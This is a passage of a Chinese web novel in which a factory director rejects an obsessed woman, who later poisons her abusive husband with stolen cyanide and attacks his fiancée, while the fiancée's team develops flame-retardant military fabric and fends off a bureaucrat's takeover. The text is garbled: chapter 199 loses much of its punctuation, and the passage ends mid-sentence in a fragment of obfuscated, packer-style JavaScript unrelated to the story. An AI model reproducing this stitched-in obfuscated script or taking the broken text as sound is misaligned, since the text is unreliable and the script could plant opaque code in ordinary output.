林美华缓缓走近几步,陆良辰这才发现,她比上次见到时瘦了许多,曾经精心打理的一头秀发如今枯黄毛躁,毫无光泽,嘴角还有一块未消的淤青,被劣质粉底勉强遮盖着,显得格外刺眼。 “陆厂长。”她又唤了一声,声音像是砂纸摩擦般沙哑,但目光却灼灼发亮,让人有些不寒而栗,“好久不见。” 小桃子看到林美华,小脸瞬间变得苍白,小手立即紧紧抓紧了陆良辰的衣角,眼中满是恐惧。 显然,当初被林美华虐待的记忆还在,她从骨子里害怕林美华。 陆良辰十分心疼小桃子,安抚地拍了拍女儿的发顶,轻声说道:“去跟小朋友们玩吧,爸爸一会儿来找你。” 等小桃子跑远,陆良辰才转向林美华,语气严肃而冰冷:“林同志,有事?” 林美华向前走了两步,身上劣质雪花膏的香味混着淡淡的酒味扑面而来,她意有所指地看了眼远处的办公楼,眼眸中一闪而过的是浓浓的恨意。 “陆厂长,听说你们要成立军工小组了?” 陆良辰眼神一凛,语气不善:“厂里的事,不劳你一个外人费心。” 成立军工小组的消息,只有少数人知道,但林美华竟然知道,这证明,林美华这个女人,还是很有些人脉的,连这样机密的事都能知道。 “陆良辰!”林美华突然情绪激动起来,声音尖锐地刺耳,“你的心肠是铁石做的吗?为什么看到我总是冷冰冰的?” “你为什么就不能给我一点点回应?是我哪里不够好吗?我年轻漂亮,有文凭,懂诗歌能弹琴……为什么你情愿要一个乡下离过婚的女人都不要我?” 她的声音中带着凄厉和执拗,这么长时间以来,她一直想不明白,所以才瞒着何其亮,不顾一切地来找陆良辰,希望能得到一个答案。 “林美华同志,”陆良辰冷声打断,眼神中满是厌恶,“请注意你的言行。” “言行?我沦落到如今这个地步,还要什么言行?” 林美华眼圈突然红了,她猛地撸起袖子,露出手臂上触目惊心的淤痕。 “你看!这都是何其亮那个畜生打的!自从你们害得他爹丢了位置,他就天天拿我出气……” 陆良辰皱眉看了一眼,后退半步,语气冷漠,眼中连一点心疼和怜惜都看不到。 一直盯着他看的林美华心疼得不得了。 就算自己沦落至此,陆厂长还是对自己一点点感觉都没有嘛? “林美华,这是你的家事,和我无关!还有,何家出事,也不是因为我,而是因为自身立身不正。” 他淡淡地瞥了她一眼,“至于你自己,走到今天这一步,也是咎由自取,你作为老师,不能善待孩子,开除你,已经是最轻的处理!” “哈哈哈!哈哈哈!”林美华神经质地笑了起来,眼泪却止不住地往下掉,“陆良辰,你明明知道……知道我一直……” 她的声音突然低了下来,带着病态的温柔,“从你调来厂里的第一天,我就倾慕于你……” “林美华!”陆良辰厉声喝止,“请你自重!不要逼我打女人!” 林美华被这声呵斥震得浑身一颤。 她突然扯开领口,露出更多伤痕,神情疯狂:“你看看!你看看我现在过的是什么日子!只要你肯帮我调回来,帮我摆脱何其亮那个畜生,我什么都愿意做……我不会和姜海棠争什么,我会一辈子躲在黑暗的地方不会被人发现……” 说着,她就要往陆良辰身上靠,陆良辰迅速后退避开。 “滚!你不要名声,我还要名声,你说的这些话,我只当从来没有听过!”陆良辰远远躲开之后,蹙眉说道:“如果何其亮再打你,可以去妇联举报。” 林美华没想到,自己如此卑微的投怀送抱,都不能让陆良辰多看一眼。 她不光没有反省自己是不是做错了,反而痴痴地望着陆良辰坚毅的侧脸,脸上的喜欢更加浓烈了一些。 “果然是我看中的男人,就是和别的狗男人不一样。陆良辰,我只要跟着你……”她的声音越来越低,“你和姜海棠结婚,我也不在乎,只要让我跟着你……” 第196章 阻燃纤维 陆良辰嫌恶地再次朝后退了好几步,语气坚决:“林美华同志,你结婚了,我也快要结婚了,我没打算让第三个人介入我的婚姻,请你尊重自己也尊重别人。” 这句话像一把锋利的刀子,狠狠地刺进林美华心里。 她的表情瞬间扭曲,眼中满是怨毒:“陆良辰,你竟然这样拒绝我,我会让你后悔的!” 她越说越压低声音,带着恶毒的意味。 “你和姜海棠,都不会有好结果,等着瞧吧,军工项目……” 陆良辰心头一紧,急切地问道:“你什么意思?” 然而,林美华已经转身离去,背影瘦削的像根枯竹,充满了绝望和疯狂。 走出几步,她突然回头,声音轻得像毒蛇吐信:“可要一定要小心啊……” “站住!” 陆良辰正要追上去问个明白,小桃子突然跑过来抱住他的腿。 小桃子带着哭腔说道:“爸爸,我的风筝卡在树上了!” 等陆良辰帮女儿取下风筝,再回头,林美华已经不见踪影。 但她的威胁像根刺,深深地扎在陆良辰心里,让他无法安心。 陆良辰带着小桃子,没有直接回家,而是去找赵凯。 赵凯听陆良辰说完这番话,眉头也紧紧皱起。 “我怀疑,何其亮和林美华会对海棠动手。”陆良辰忧心忡忡地说。 他心里清楚,以林美华现在疯狂的状态,他们对军工项目下手的可能不大,但对姜海棠下手的概率很大。 陆良辰在心里暗暗发誓,绝对不会允许姜海棠出任何问题。 “团长,我安排人保护嫂子。”赵凯严肃地说。 “这事儿不好找保卫科的同志,你联系一下以前部队上退下来,身手好的,工资我这边付。”陆良辰果断地说道。 赵凯点头:“我知道了,团长,您放心,我正好有合适的人选,马上就联系,在人到位之前,暂时让保卫科的人盯两天。” “我也是这个意思。”陆良辰赞同地说。 晚饭时,陆良辰一直心不在焉,眉头紧锁,不时地看着姜海棠,欲言又止。 姜海棠夹了块红烧肉给他,关心地问道:“怎么了?我今天晚上做的饭不好吃?” 陆良辰犹豫片刻,还是决定如实相告:“今天遇到林美华了,她状态不太对劲,说了些疯话……海棠,我担心她可能会对你动手,你最近出门小心点。” 思来想去,他都觉得,林美华现在已经失去了理智,这样的人,做起事来很可能会不计后果。 他承担不起任何可能的风险,只能未雨绸缪,让人先将姜海棠保护起来。 姜海棠放下筷子,神情严肃:“她威胁你了?” “嗯。”陆良辰没有隐瞒,“她提到军工项目,但我觉得,她意有所指,可能想对你动手。” 姜海棠虽然觉得荒谬,可是一个女人如果因为感情偏执,是什么事都能做出来的,姜海棠自己也不会掉以轻心。 “我会小心的!” “我已经对赵凯说了这个情况,赵凯会安排人保护你,这些天,你尽量留在厂里。” 姜海棠答应下来,忽然又想起林美华对自己的怨恨从何而来,嗔怪地瞪了陆良辰一眼。 “看起来,长得太招人也不是好事,陆大厂长,你就是个红颜祸水!” 陆良辰被她逗乐了,紧张的心情也稍稍缓解,他捏了一下她的手说:“又调皮了!” 然而,尽管气氛暂时缓和下来,夜深人静时,姜海棠躺在床上,却怎么也睡不着。 她翻来覆去,脑海中不断浮现出林美华的模样,她一遍遍地说着恶毒和诅咒的话,一种强烈的不安涌上姜海棠的心头,她隐隐觉得,危险似乎正在一步一步逼近。 之后的日子里,她每天的锻炼更加用心了一些,不管有没有人保护,她心里明白,只有自己有保护自己的能力,才是最重要的,才能在未知的危险面前有一战之力。 接下来的几天,姜海棠每天都在家里和实验室两头跑,厂子外面一步都不去。 而陆良辰则正好与姜海棠相反,他每天都找各种理由去厂子外面转悠。 他希望能将那些潜在的危险都吸引到自己身上,好保全姜海棠的安全。 但是,并没有人对他动手,甚至,就算陆良辰十分敏感,也没有感觉到自己周围有任何风险。 这日,陆良辰从外面回来的时候,手里捏着一把野花,递给还在伏案做验算的姜海棠。 “海棠,休息会儿吧,别把自己逼得太紧。” 姜海棠这才从工作中回过神来,揉了揉酸痛的脖子,“你回来了?呀,这么快就天黑了?” 她看向那束淡紫色的野花,心中一暖,没想到陆良辰还能有这样浪漫的时候,虽然只是一些野花,可能想着给女人带野花的男人,确实已经很浪漫了。 她喜滋滋地找了一个玻璃罐头瓶,把野花小心翼翼地插在玻璃瓶里,然后摆在了自己的案头上,歪着脑袋欣赏了好一会儿。 “真漂亮,良辰,谢谢你!” “你喜欢就好。”陆良辰看到姜海棠如此喜欢,心里也愉悦得很。 “我以后出门遇到花就给你采摘回来。” 姜海棠忙说:“那倒是也不用,你一个厂长,成天沾花惹草的,被工人们看到了不好。” 陆良辰没忍住,捏了一下她的脸说:“还不都是为了讨你欢心,还嫌弃我沾花惹草,沾花惹草这个词是这么勇的?” 姜海棠掩嘴笑着,眼底眉间都是柔情,看的陆良辰没忍住,一把将姜海棠抱在怀里,重重的亲了一口。 周一早晨,姜海棠特意提前半小时到厂,直奔谭书记的办公室。 “谭书记,我给您做一个阶段性的汇报。”她简明扼要地说明了小组的研究方向和初步成果。 谭书记作为厂里的党委书记,已经不太管具体的事务,但现在厂里班子还不齐全,得用的人又少,他这个老革命不得不重新冲锋陷阵,负责军工材料的研究工作。 听完汇报后,他摘下老花镜,若有所思地说:“小姜啊,你们这个想法很好。现在国家提倡‘抓革命,促生产’,技术革新正是我们需要的。不过,用新材料代替原有的材料,这个可行吗?” 姜海棠立即保证:“书记,是完全可行的,样品到了之后,我们进行了实验。” 实验比姜海棠预想的还要成功许多。 “这是我们刚才弄到的国外的新型布料,这种布料需要具备防火、耐磨、透气三种特性,或许可以给你们一点启发。”谭书记从抽屉里拿出一个牛皮纸袋递给姜海棠。 姜海棠打开之后,里面是一块军绿色的布料,拿出布料,她用手指轻轻摩挲着表面。 这布料手感特殊,既不像纯棉也不像化纤,经纬线排列紧密却又不失柔软。 她站起身:“谭书记,我们会全力以赴生产出达标的布料。” 晚饭后,照顾小桃子睡下,姜海棠才回到自己屋里,坐在书桌前,拿出那块军工布料研究。 陆良辰端来一杯热水,目光在布料上停留了一瞬,却什么也没说,只是轻轻带上了房门。 接下来的日子,姜海棠全身心扑在军工布料的研究上,虽然谭书记给的只是小小一块布料,但对于姜海棠他们这个研究组来说,无疑是给了一个奋斗的目标和方向。 “传统棉布根本达不到防火要求,”周小梅在第三次实验失败后沮丧地说,“就算用阻燃剂处理,洗几次就失效了。” 姜海棠翻看着实验记录,眉头紧锁,“也许我们该换个思路,从原材料入手,寻找更好的阻燃纤维。” 寻找新的阻燃纤维,并不是一件容易的事,实验室里,姜海棠再次取下一点布料上的纤维开始做实验。 通过一项项的数据对比,姜海棠一点点推进研究,这个过程很缓慢,可是小组里的人都没有放弃,而是全力以赴,付出百分之一百二十的努力。 姜海棠回家的时间也越来越晚。 因为知道有人保护,姜海棠倒是也没担心会遭遇危险,但她又觉得,总这样也不是个事儿。 常言说得好,只有千日做贼的,哪有千日防贼的? 总不能以后的日子,都需要有人保护才能出行吧? 思前想后,姜海棠决定,等这一次的实验告一段落之后,就和陆良辰商量,引蛇出洞。 时间一天天过去,姜海棠和大家一起齐心协力,终于研究出了新型的阻燃纤维。 实验成功的那一刻,实验室里爆发出欢喜的声音。 周小梅激动地抱着姜海棠。 “海棠,姜工,真的太好了,我们成功了,终于成功了。” 姜海棠也长舒一口气,可是,她还是担心,通过实验,确实是成功的,但是这个阻燃纤维真正用于防止之后,也不知道是不是能起到他们预想的作用,还是一个未知之数。 第197章 林美华的疯狂 实验室里欢呼声还未散去,姜海棠已经拿起笔记本开始记录关键数据。 那已经记录了许多数据的笔记本上,又加入了大半页的数据,写完这些数据的时候,姜海棠的指尖微微发抖。 郑明远看到姜海棠红红的眼睛,说道:“休息一下吧!适当的休息,是为了更好的工作。” 姜海棠知道这一点,为了阻火纤维的实验,她已经一天一夜没有合眼了,确实需要回去休息一下。 “还需要确定一下纺织参数,等纺织参数测试完毕,我再休息。”姜海棠摇摇头,灌下半杯浓浓的茶水。 “样品至少需要三天时间,才能织成布料。”却不是因为激动,而是连续三十六小时未合眼的疲惫。 姜海棠稍微坐着休息了几分钟之后,回到了显微镜前,她一边仔仔细细观察镜头,一边说:“你们看,这种晶体排列方式决定了纺纱时张力不能超过……” 又是忙忙碌碌的几个小时之后,最后的测试完成,姜海棠这才回到家里休息。 样品至少要三天后才能完成,这三天,科研小组的人可以轮换休息。 三天之后,样品纺织完成,姜海棠再次回到了工作岗位上。 大家围着新纺织的布料欢笑,实验室门被推开。 谭书记带着走进来,身后跟着个穿军大衣的陌生面孔。 “同志们辛苦了!听说你们取得了技术突破,军区技术处的杨工程师,专门来看望大家!”谭书记红光满面地介绍着。 杨工程师约莫四十岁,左眉上有道疤,不是刀伤,倒好像是流弹划过的伤痕。 姜海棠一看便知道,这是一位上过战场的同志,她心里不由肃然起敬。 他逐一与研究人员握手,轮到姜海棠时问道:“听说你们用国产原料替代了进口阻燃剂?” “是的,杨工,我们改良了水镁石纤维的处理工艺,使它的阻燃性能提升了四倍。完全可以代替进口阻燃剂。” 现在国家困难,外汇更是有限,能节省外汇和能够赚取外汇一样重要。 杨工程师仔细检查数据记录,经过姜海棠的仔细解释之后,连连点头:“这个思路很巧妙。不过……军区更关心的是量产可行性。” 不管实验的时候说得多么好,只要不能实现量产,那就毫无意义。 这个问题正中姜海棠下怀,姜海棠浅浅笑着翻开笔记:“我们已经设计了配套设备改造方案,在现有织机上改装,每台成本不超过两百元,实现量产完全没问题。” 谭书记和杨工程师对视一眼,脸上同时露出惊喜。 这个数字意味着,金城纺织厂完全有能力在三个月内实现小批量生产。 “好!很好!”杨工程师重重拍了下实验台,“我马上向首长汇报!” 送走杨工程师,其他人都盯着姜海棠看。 姜海棠被大家看得不好意思了,不自在地捋了一把头发,说:“你们这么盯着我看什么?” “海棠,你什么时候连设备改造方案都弄出来了?我们可是一点都不知道。” “我本来就擅长机械改造,闲暇时候顺便研究了一下,目前理论上可行,但到底行不行,还得从机械厂请专家来论证才行。” “姜工,你这是在玩命啊。” 姜海棠苦笑着说:“我们已经因为种种原因耽误了许多时间,自然需要加班加点才行。” “况且,马上就是广交会了,今年我们厂里展位多,需要去的人也多,我大概率也是要去的,这些事不提前做,怎么办?” 段长河听了,说:“我们厂里的用的技术人才还是太少了,许多工作的压力都压在了姜工的身上。” 姜海棠叹息一声说:“我们的技术人员确实太少了,不过我相信,国家很快就会关注到这方面的问题,会对当前的政策进行调整。” 元俊峰和常志宴两个人猛地抬头朝着姜海棠看过去。 他们能听懂姜海棠话里的意思,可是那一天真的会到来吗? 他们等这一天已经等了好几年了。 郑明远点头说:“姜工说得对,终究有一天,一切都会好起来,纺织厂以及其他的大厂里,都会有足够的技术人员。到了那时候,才是我们工业真正腾飞的时候。” 姜海棠都怀疑,郑明远是不是已经知道了点儿什么,但显然不是,现在距离拨乱反正还有将近两年的时候。 但两个人如此坚决的话,终究让其他人看到了更多的希望。 姜海棠并不知道,在一处筒子楼,林美华再一次被丈夫何其亮殴打,而她挨打的原因,只是切菜的时候,声音稍微大了一点。 “你这个败家娘们!吵什么吵!还敢给老子耍脾气,看老子不打死你!” 何其亮一边骂骂咧咧,一边抓住林美华的头发,将她的脑袋一次次的砸在门板上。 似乎只有不断地让林美华受罪,他的心里才能好过一样。 “要不是你这个贱人拖累,老子何至于沦落到如此地步?” 其实,何其亮目前也就只是到了边缘部门,比起这世上许许多多的人,过的日子要好上许多。 可他觉得失落,又不认为是自己的问题,只能把所有的罪过都推到林美华身上。 林美华浑身发抖,恐惧不已,可仔细看,她的眼中透出疯狂的光芒。 她攥紧拳头,想着以后再也不要过这样的日子了。 她原本好好的人生,就因为姜海棠毁掉了,她要报仇。 林美华挨打之后,小意奉承着丈夫,又给他倒酒又是给他添菜,将男人伺候的舒舒服服。 只是,男人到死都不知道,林美华在饭菜里下了药,吃下去后,睡着了就再也醒不过来。 这是她从农药厂偷来的氰化物,足够让十头牛毙命,原本,这些药是她为姜海棠准备的,可谁让这个贱男人竟然打她,一次次的打她。 她只是下了一点点,就让这个无缘无故殴打他的男人再也没有办法打人了。 将男人放在床上之后,林美华收拾了碗筷,清洗干净之后,将自己收拾的利利索索走出家门。 下班之后,姜海棠慢悠悠的在路上走,好不容易能轻松一点,她也想好好的享受一次黄昏的安逸。 暮色中,她敏锐地察觉到有脚步声跟在身后。 姜海棠依旧慢悠悠地走着,只当自己没有发现。 拐过锅炉房时,林美华突然从阴影里冲出来,手里寒光一闪! 姜海棠早有准备,一个侧身躲过,顺势抓住对方手腕一拧。 小纸包掉在地上,林美华疯狂地要去抢,却被姜海棠反剪双手按在墙上。 “放开我!”林美华歇斯底里地挣扎,“姜海棠,你这个贱人,毁了我的人生!我要让你陪着我一起死!” “是你自己毁的。承认自己的错误,并不丢人,可怕的是,做错了事不愿意承认,只会找理由。” 姜海棠冷静地说,一双眼睛盯着林美华。 好好的一个人,原本不用走到今天这一步,可她一步错步步错,以至于到了如今,沦落到这个地步。 林美华哪里是姜海棠的对手,她被姜海棠制服之后,直接带到了保卫科。 证据确凿,林美华就算不肯招供也不要紧,只是,让调查人员没有想到的是,林美华的丈夫何其亮居然中毒死了。 出现了人命案,超出厂保卫科的管辖范围了,保卫科的同志将案子移送公安。 经过法医检测,何其亮中的毒和林美华打算给姜海棠下的毒是同一种。 赵凯唏嘘:“这世上还有这么蠢的下毒方式,这是打算抓住姜工,直接喂到她嘴里。” 林美华这个女人,看着也不是个傻子,怎么就会用这样的方式给人下毒呢? “也可能,不是她蠢,而是她觉得时间不够用了,毕竟,她已经杀死了何其亮,很快就会被抓。”陆良辰目光看向远方说。 早知道林美华是个疯子的话,他一定早早将这个隐患处理掉。 海棠和她无冤无仇,可她却一直想害死海棠,就连知道自己肯定要死的时候,也没有放弃拖海棠下水的想法。 可这一切的起源,不过是因为她看上了他,而他没有看上他。 幸好,她被抓进去再也出不来了,要不还不知道海棠要遭遇多少危险呢。 “说起来,这事儿也是因为你,团长,美色误人,看起来,不光是美女,美男也误人啊!”赵凯没忍住调侃道。 陆良辰没好气的瞪了他一眼。 “真是越来越不着调了,早知道,就让你留在保卫科了!” 赵凯忙说:“可别,我好歹现在还能行使一下副厂长的权利,多好。” “你现在工作上没问题了,和康小夏的关系发展到哪一步了?” “我们好着呢,就是她年龄小,要领证还要等,不过,我也不着急,毕竟你这个老大难还没结婚呢。” 陆良辰:…… 好想和他打架怎么办? “哼,我后半年就能结婚了,倒是你,还有得等呢。而且,我和海棠的关系已经定下来了,是未婚夫妻,你呢?” 第198章 摘桃子的人来了 赵凯一手指着陆良辰,另一只手夸张地捂住胸口:“你这是杀人诛心!杀人诛心!!” 明明知道康家人都是见风使舵的主,还拿这事儿戳他软肋,这不是欺负老实人嘛! 白跟了这么多年! 陆良辰往后仰了仰身子,嘴角噙着若有若无的笑意。 两人你一言我一语,像极了斗架的公鸡,倒是让两个人都放松了下来。 直到墙上的老式挂钟发出沉闷的报时声,陆良辰才敛了神色:“说正事儿,李胜利的家人现在是什么情况?” 赵凯收起玩笑,从牛皮文件夹抽出几张纸,油墨未干的字迹泛着蓝光:“反复筛查三遍了,对他们进行了严密的调查,没发现敌特行为。但按规定......” 他顿了顿,“现在的问题是,吴秀云瘫痪在床,李秋兰才十六岁,送去农场怕是......” “留着始终是隐患,这个吴秀云和李秋兰都不是好人。”陆良辰拧紧眉,指节敲打着办公桌,“送到偏远山区的劳改农场,越远越好。” “是!交给我你放心,我肯定办得妥妥的。”赵凯立即保证。 “辛苦你了。”陆良辰说。 “不辛苦,都是小事。我早上去了机械厂,机械厂那边说,织袜机已经批量生产了,问我们什么打算。” “我们最多再扩建一个车间,有七十台机器差不多了。” 两个人正说话的时候,办公室门”吱呀”推开。 姜海棠抱着一摞图纸进来,蓝白条纹工装袖口沾着墨水痕迹。 听到织袜机的讨论,她眼睛一亮:“我倒有个想法......” “什么想法,说来听听。”陆良辰十分有兴趣地问。 海棠每每都能提出十分新鲜的想法,让他十分期待。 “我们可以采取合作的方式,扩大生产规模。” 这个想法,也是这段时间姜海棠在考虑的。 目前纺织厂确实没有办法成立更多的车间,但如果能和可靠的人形成合作关系,将袜子制造承包出去,对于厂子的发展,会有极大的推动作用。 “合作?”陆良辰问。 “就像玩光彩,给我们提供了原始的机械,现在他的袜子机维修好后,我们给他提供了原材料,也收购他的袜子,大概就是这样的运作模式。” 陆良辰摩挲着下巴陷入沉思。 “流程太繁琐,风险不好把控。”他最终摇头否定。 “我们不用管太多,找可靠的人负责就行,比如王良才,咱们提供原料和技术,他负责生产,风险共担。”姜海棠继续说。 王良才上辈子能成为袜子大王,就证明了,这个人在经商方面是有天赋的,只要将这个人好好用起来,绝对能有意外惊喜。 赵凯猛的一拍大腿给姜海棠伸出大拇指。 “嫂子这招高啊!就像给织袜机上了双保险!” “要是你们都觉得可行,可以尝试一下,要是太麻烦,可以找下面县上的小厂承接,无论如何,质量都要能保障。” 赵凯立即点头:“这事儿,我回头仔细研究一下,肯定拿出一个可行的方案来。” “嗯,这件事要弄,但更重要的是今年的广交会,咱们厂未来是吃肉还是喝汤,和这一次的广交会关系莫大。”陆良辰又说。 这是他上任之后的第一届广交会,又有去年秋季广交会那样亮眼的成绩在,凡是有一点做得不好,估计他这个厂长就要被否定了。 “时间足够,我们好好筹划一下,争取今年取得更好的成绩。”姜海棠柔声安抚陆良辰。 陆良辰点头:“我相信,只是,海棠,我不希望你如此辛苦,这段时间,你连轴转……” 姜海棠制止了陆良辰接下来的话,笑道:“这算什么啊,吃得饱穿得暖,干活累不死人,再说,我不是已经好好休息了。” “厂里目前的情况,这次广交会,我大概没有办法去,我想让赵凯带队去,你们觉得呢?” 这个想法,只是陆良辰初步的想法。 这几个月,厂里的人事变动太大,加上情况并不是很稳定,陆良辰确实不敢轻易离开。 赵凯手里的搪瓷缸差点摔在地上,滚烫的茶水溅出来,在水泥地上洇出深色痕迹。 “这……”他涨红着脸,“我怕” 赵凯没想到哦,陆良辰会将这么重要的担子压在自己身上。 “怕了?”陆良辰笑着问:“你小子不该这么胆小啊!” “这不是这事儿我没干过,怕干不好么。搞砸了,辜负您信任我会愧疚一辈子。” “不用担心,海棠会和你一起去,而且,我们还可以和机械厂那边联合,问题不大。” “别忘了你在部队待过,这点阵仗还能难住你?”看赵凯还有迟疑,陆良辰又说。 事情定下之后,各自回家。 回到家,姜海棠才问:“你这次不去广交会,除了咱们厂的原因,是不是还有其他原因?” 陆良辰没有立即回答。 他走到窗前,望着窗外,但姜海棠觉得,他看的不是窗外的小院,而是更加广阔的地方。 “海棠,你知道为什么上级这么急着要这种防火防潮的布料吗?西南边境又紧张了,我们的战士在潮湿的猫耳洞里,很多人得了严重的皮肤病……”他的声音异常平静。 可姜海棠能听出来,他的内心极度的不平静。 “再给我们几个月时间,会生产出来的。” “那边局势现在趋于恶化,我们必须要随时准备着,这一次,我不去广交会,也是上面领导的意思。” 姜海棠听出了陆良辰话里的意思。 “你不是已经退役了吗?”她紧张地问。 “我是退役了,但一旦发生大规模的战争,不排除召回的可能。” 姜海棠沉默了一会儿,坚定地说道:“不管你要做什么,我都支持你,并且,为你做好后勤保障。” “我相信,不管是工业生产,还是别的,我们都能成功!” 陆良辰转头看她,灯光勾勒出她倔强的侧脸线条。 他轻轻将她揽入怀中,在她额头上印下一个吻。 “我知道你会。”他低声说,“因为你是姜海棠,那个百折不屈的姑娘。” 第二天的实验室格外安静,只有仪器运转的轻微嗡鸣。 姜海棠专注地记录着数据,其他人各司其职,井然有序地忙碌着。 突然,实验室的木门被推开。 一个穿着笔挺中山装的中年男子站在门口,这个男子身后跟着几个戴眼镜的技术员模样的人。 有点眼生,姜海棠蹙眉。 “这是咱们省轻工局技术处的马处长,你们这里谁负责?”随行人员的声音打破沉默。 姜海棠抬头,正对上马处长镜片后挑剔的目光。 那人笔挺的中山装浆洗得过分僵硬,胸前口袋露出半截进口钢笔,在日光灯下泛着冷光。 姜海棠立即开始思索,马处长是何许人。 好像之前听谁提起过,省轻工局有个出了名的崇洋派,好像就姓马,莫非,就是眼前这个人? “马处长,我们没有提前准备,有点乱,可能不太方便您参观。” 姜海棠强压着不悦,上前握手,却没有邀请马处长进门的准备。 她开口的同时,已经给黎景程使了一个眼色,那意思就是让黎景程借机搬救兵的意思。 马处长却没有伸手的意思,只是用挑剔的目光扫视着实验室。 “你就是这里的负责人,还是个女同志呢。不是我看不起女同志,但这种高精尖项目,还是应该交给专业团队。”他指了指身后的人,“这些都是留苏回来的专家,不如……” 姜海棠瞬间明白了这些人的意思,这是来摘桃子了。 她面上没有表露出不悦,依旧保持温婉的笑。 “马处长,按规定,外来人员参观项目需要军区出证明。”她语调平稳,却透着不容置疑的坚定。 马处长十分不悦:“让我们的同志进去,主导你们这个项目,不是来参观。” “请问马处长,你们的同志有公函吗,或者有调到我们纺织厂的调令吗?” 公函?调令? 马处长和他带着的几个人都一愣。 “要什么公函调令的!你别忘了,你们纺织厂,可是归属我们轻工局管的。”马处长的脸涨成猪肝色,中山装的纽扣几乎要被他起伏的胸膛崩开。 “真不好意思,马处长,我们纺织厂确实是归口你们轻工局管的,但这个项目,所有参与人员,都有文件,你们的专家要参与进来,必须要有军区的文件。” 言下之意,轻工局说了也不算! “你这是违抗上级指示!” 他身后的“专家”们交头接耳,有人已经掏出笔记本准备记录。 “我们严格遵守保密条例。”姜海棠从文件柜取出一叠红头文件,纸页翻动间,军区大印鲜红如血,“如果马处长有相关文件,我们自然全力配合。” 姜海棠不卑不亢的说道,一点都没有害怕得罪人。 “你放肆!” “马处长,您可不能冤枉我们,我们没有放肆的意思,不过是就事论事请您和其他专家同志拿出公函而已。” 姜海棠一点都不肯让,可是脸上依然是得体的微笑,让马处长窝火到不行。 “你无组织无纪律,我要给领导打报告,你这样的同志,不适合留在纺织厂。”马处长气急败坏的说。 第199章 白泥 马处长的话音刚落,实验室外传来一阵沉稳的脚步声传来。 “马处长好大的官威啊。 “陆厂长?马处长一惊,不是说,今天陆厂长去开会了,不在厂里吗? 陆良辰一点都没有和马处长寒暄的想法,单刀直入的开口。 “我竟不知道,什么时候轻工局能直接插手军区特批项目的人事安排了? 姜海棠回头,看到陆良辰一身藏蓝色中山装,端得挺拔帅气,他手里拿着一份文件,身后跟着两名穿着军装的同志。 阳光从他背后照进来,在地上投下一道长长的影子。 被抓了现行的马处长的表情瞬间凝固,额头渗出细密的汗珠。 “陆、陆厂长,您误会了…… “误会?陆良辰冷哼一声,走到姜海棠身边,将文件递给她,多余连一个眼神都没给马处长。 “对,误会了,我们没有要插手军区特批项目的意思! “海棠,这是军区后勤部刚发来的加急电报,对我们的研发进度表示关切。 姜海棠听到陆良辰这话,脸上都是欣喜。 陆良辰目光转向马处长,眼神锐利如刀。 “马处长若有什么指导意见,不妨直接向赵卫国师长反映? 马处长身后的“专家们闻言,脸色都变了。 赵卫国是出了名的铁血将领,最厌恶官僚主义作风。 光是一个陆良辰都应付不了,就别说去找赵卫国了。 他们今天原本想的是,趁着陆良辰不在,先斩后奏,造成既定事实,到时候,陆良辰只能捏着鼻子认下。 可现在陆良辰在厂里,他们还能怎么办? “不、不用了……马处长掏出手帕擦了擦汗,“我们只是例行检查…… “检查需要带这么多‘专家’?陆良辰的声音依旧很冷。 “刚才马处长可不是这么说的,马处长好像是说,不是我看不起女同志,但这种高精尖项目,还是应该交给专业团队,这些都是留苏回来的专家,不如交给他们主导! 马处长哪里知道,这个女同志一点面子都不给他们留,把他的原话说出来了。 “误会,误会,就是开个玩笑!马处长虽然心里憋屈,但也只能赔笑说。 姜海棠不搭理他,翻开陆良辰给她的文件,突然眼睛一亮。 “正好,马处长,军区要求我们三天内提交阶段性报告,您既然带了专家 来不如帮我们审核一下技术参数?” 她这一招以退为进让马处长进退两难。答应吧他们根本不懂这项技术。拒绝吧又显得心虚。 “这……我们还有其他安排……”马处长支吾着目光闪烁根本不敢接下这个挑战。 “那真是太遗憾了。”陆良辰接过话头语气忽然亲切起来“对了马处长省机械厂那边昨天还跟我提起说想招几个懂俄语的技术员您儿子好像也报名了……” 马处长的表情立刻变了。 他也是混了许多年的人精了怎么可能不明白这话里话外都是威胁的意思? 偏偏陆良辰的威胁他没有办法反击轻工局管不了机械厂而机械厂现在和纺织厂在蜜月期关系那叫一个好。 陆良辰想使坏还真很容易。 “陆厂长和机械厂那边关系很好?” “也就一般吧花花轿子人抬人互相给面子罢了。”陆良辰轻描淡写地说同时意味深长地看了马处长一眼“这年头年轻人有个好工作不容易啊。” 姜海棠差点笑出声。 她太了解陆良辰了——这分明是在暗示:你敢捣乱我就让你儿子没好工作! 要是找不到工作那就只能去下乡想来马厂长不可能愿意看到这种情况。 马处长果然被拿捏住了态度立刻软了下来。 “陆厂长说得对 他转身对随行人员使了个眼色”走吧去下一个单位。” 跟着马处长的几个人一脸懵他们今天就是冲着纺织厂的项目来的没听说还有下一个单位啊! 有人想问被马处长一个恶狠狠的眼神给制止了。 一行人走的时候比来的时候速度更快就像是后面跟着狼在撵他们一样。 等马处长一行人灰溜溜地离开实验室里爆发出压抑已久的笑声。 “陆厂长您太厉害了!”周小梅崇拜地说“那个马处长脸都绿了!” 陆良辰却收敛了笑容神色凝重。 “事情没那么简单。”他压低声音对姜海棠说“我刚接到消息有人向省里举报我们项目组‘浪费国家资源’马处长不过是来探路的。” 姜海棠心头一紧下意识地想到一个可能。 “是冲着你来的?” “或许还不止。”陆良辰摇摇头“也有可能是冲着整个项目有些人不想看到我们成功。 ” 当天晚上,姜海棠和陆良辰在办公室里挑灯夜战,准备军区要求的报告。 这份报告早点准备好,由军区出面协调是最好的。 两个人忙到了大半夜,总算将报告准备好了。 第二日,姜海棠早早地来到了实验室,既然有人不愿意看到他们成功,他们只能拼命压缩时间,争取在有限的时间内,研究出最符合要求的布料。 “你看这里。”姜海棠指着一段实验数据,“用松香和橡胶混合的处理方法,防水性能提升了40%,但防火效果却下降了。” 郑明远凑过来,两个人盯着实验数据研究了半天。 “会不会是比例问题?” “我试过三种比例了。”姜海棠苦恼地揉着太阳穴,“每次都是顾此失彼。” 郑明远突然站起身,说道:“我去找个人,或许能解决,这两天我先不过来了。” 姜海棠知道,郑明远是有非常大的能量的人,因此,尊重郑明远。 果然,两天之后,郑明远再回来的时候,带了一个牛皮纸包着的小本子。 “姜工,看看这个。” 姜海棠翻开泛黄的笔记本,里面密密麻麻记录着各种化学公式和实验数据。“这是……” “这是我叔叔留下来的,他当年研究过类似的问题。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 